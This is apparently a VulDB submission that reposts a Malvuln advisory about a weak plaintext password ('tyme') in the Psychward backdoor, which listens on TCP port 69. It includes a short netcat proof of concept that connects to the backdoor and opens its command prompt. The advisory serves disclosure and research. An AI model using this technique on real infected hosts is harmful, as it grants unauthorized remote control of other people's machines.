Submit #35215: Backdoor.Win32.Psychward.03.a / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/d069738f18957117367b8a79195a6a96.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.03.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens in TCP port 69. The password "tyme" is weak and stored in plaintext with the executable.
Family: Psychward
Type: PE32
MD5: d069738f18957117367b8a79195a6a96
Vuln ID: MVID-2022-0548
Dropped files: winvxd.exe
Disclosure: 04/14/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 69
pwd tyme tyme
psychward revised 0.3, awaiting your command

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• Source: ⚠️ https://malvuln.com/advisory/d069738f18957117367b8a79195a6a96.txt
• User: malvuln (UID 14984)
• Submission: 04/18/2022 02:09 (4 years ago)
• Moderation: 04/18/2022 07:53 (6 hours later)
• Status: Accepted
• VulDB entry: 197564 [Backdoor.Win32.Psychward.03.a Service Port 69 hard-coded password]
• Points: 20